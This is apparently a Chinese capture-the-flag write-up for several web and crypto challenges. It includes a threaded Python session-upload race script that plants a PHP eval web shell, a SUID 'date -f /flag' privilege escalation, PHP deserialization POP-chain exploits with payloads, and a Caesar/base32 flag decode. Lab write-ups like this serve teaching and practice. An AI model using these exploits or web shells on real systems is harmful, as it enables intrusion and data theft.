rce_me
session文件包含,_url编码后%5f可以绕过。
import io,threading,requests
url = 'http://80.endpoint-4e53a4edd7b84622b67eb4b8f6475a83.dasc.buuoj.cn:81/'
sessionid = 'test'
data = {
'1':'file_put_contents("/var/www/html/2.php","<?php eval(\$_POST[2]);?>");'
}
def write(session):
while 1:
fileBytes = io.BytesIO(b'a'*1024*500)
response = session.post(url,data={
"PHP_SESSION_UPLOAD_PROGRESS":"<?php eval($_POST[1]);?>"
},
cookies = {
'PHPSESSID':sessionid
},
files = {
'file':('test.jpg',fileBytes)
})
# print(response.text)
def read(session):
while 1:
response = session.post(url+'?file=/tmp/sess_'+sessionid,data=data,
cookies = {
'PHPSESSID':sessionid
} )
response2 = session.get(url+'2.php')
if response2.status_code == 200:
print("+++++++++++done+++++++++++")
else:
print(response2.status_code)
if __name__ == '__main__':
event = threading.Event()
with requests.session() as session:
for i in range(30):
threading.Thread(target=write,args=(session,)).start()
for i in range(30):
threading.Thread(target=read, args=(session,)).start()
event.set()
脚本跑的时候,手动去访问?file=/tmp/sess%5ftest,然后POST:
1=file_put_contents("/var/www/html/2.php","<?php eval(\$_POST[2]);?>");
我们的后门文件就在2.php,访问密码是2。
最后连接蚁剑。flag在根目录下,但是读取权限不够。
查看suid文件:
find / -perm -u=s -type f 2>/dev/null
从中发现有date命令,使用date命令读取flag:
date -f /flag
得到flag
step_by_step-v3
反序列化
先看入口,在cheng类里有wakeup函数,反序列化的时候会调用这个函数。
wakeup函数把c1属性里的flag赋值为flag,如果c1是bei类的对象把bei类里的flag赋值为flag,bei类没有flag,没有办法对flag进行操作,就会触发bei类的set函数。
bei类的set函数会打印b1,如果b1是yang类的对象,那么打印一个对象就会触发对应类的tostring方法,也就是yang的tostring方法。它把y1属性作为函数执行了,我们尝试执行phpinfo,也就是把y1赋值phpinfo。
综上:入口是cheng类、c1是bei类的对象、b1是yang类的对象、y1赋值phpinfo。
exp:
<?php
class yang
{
public $y1;
}
class cheng
{
public $c1;
}
class bei
{
public $b1;
public $b2;
}
$a=new cheng();
$a->c1=new bei();
$a->c1->b1=new yang();
$a->c1->b1->y1="phpinfo";
echo serialize($a);
payload:
ans=O:5:"cheng":1:{s:2:"c1";O:3:"bei":2:{s:2:"b1";O:4:"yang":1:{s:2:"y1";s:7:"phpinfo";}s:2:"b2";N;}}
flag在phpinfo里
Safepop
反序列化
先看入口,Fun类、Test类都有wakeup函数,但是一个die、一个没啥意义进行不下去。A类没有入口。那就只有B类了,B类的destruct函数会在B类被销毁时触发。
B类的destruct函数echo了a属性里的p属性。B类没有a属性,也没有get函数。我们就给B类加一个a属性。
只有A类有get函数,如果B类的a属性是A类的对象,那就会触发A类的get函数。
get函数会检查A类的a属性是否是Test类的对象,如果是那就没戏了,所以a不能是Test类的对象。然后会返回a的p方法。如果A类的a属性是Fun类的对象,那就是调用Fun类的p方法,Fun类没有,就会触发call方法。
call方法里用的call_user_func回调函数。
call_user_func($this->func,$f,$p);:$this->func是被调用的函数;$f,$p是给函数传递的参数。
我们最后的目标肯定是要调用Test类的getFlag函数。那可以让$this->func是Test类的getFlag函数。call_user_func支持从其它类调用函数,用array就可以了。也就是func=array(“Test”, “getFlag”)
exp
<?php
class Fun{
public $func;
}
class Test{
}
class A{
public $a;
}
class B{
public $p;
public $a;
}
$a=new B();
$a->a=new A();
$a->a->a=new Fun();
$a->a->a->func=array("Test", "getFlag");
echo serialize($a);
结果
?pop=O:1:"B":2:{s:1:"p";N;s:1:"a";O:1:"A":1:{s:1:"a";O:3:"Fun":1:{s:4:"func";a:2:{i:0;s:4:"Test";i:1;s:7:"getFlag";}}}}
最后要绕过wakeup,把2改成3就行了。
payload:
?pop=O:1:"B":3:{s:1:"p";N;s:1:"a";O:1:"A":1:{s:1:"a";O:3:"Fun":1:{s:4:"func";a:2:{i:0;s:4:"Test";i:1;s:7:"getFlag";}}}}
签个到
ZMJTPM33TSGTRAWGTOEGFBQOTSETRAWEZZMGRMWIZSDJXZOETHMTXLGSZEFK2===
flag的base32加密后是MZWGCZY=
第一位是字母M,和题目第一位字母Z相差13
凯撒解密,偏移量13
MZWGCZ33GFTGENJTGBRTSODBGFRGENJRMMZTEZJVMFQWKMBRGUZGKYTFMRSX2===
然后base32解密
flag{1fb530c98a1bb51c32e5aae0152ebede}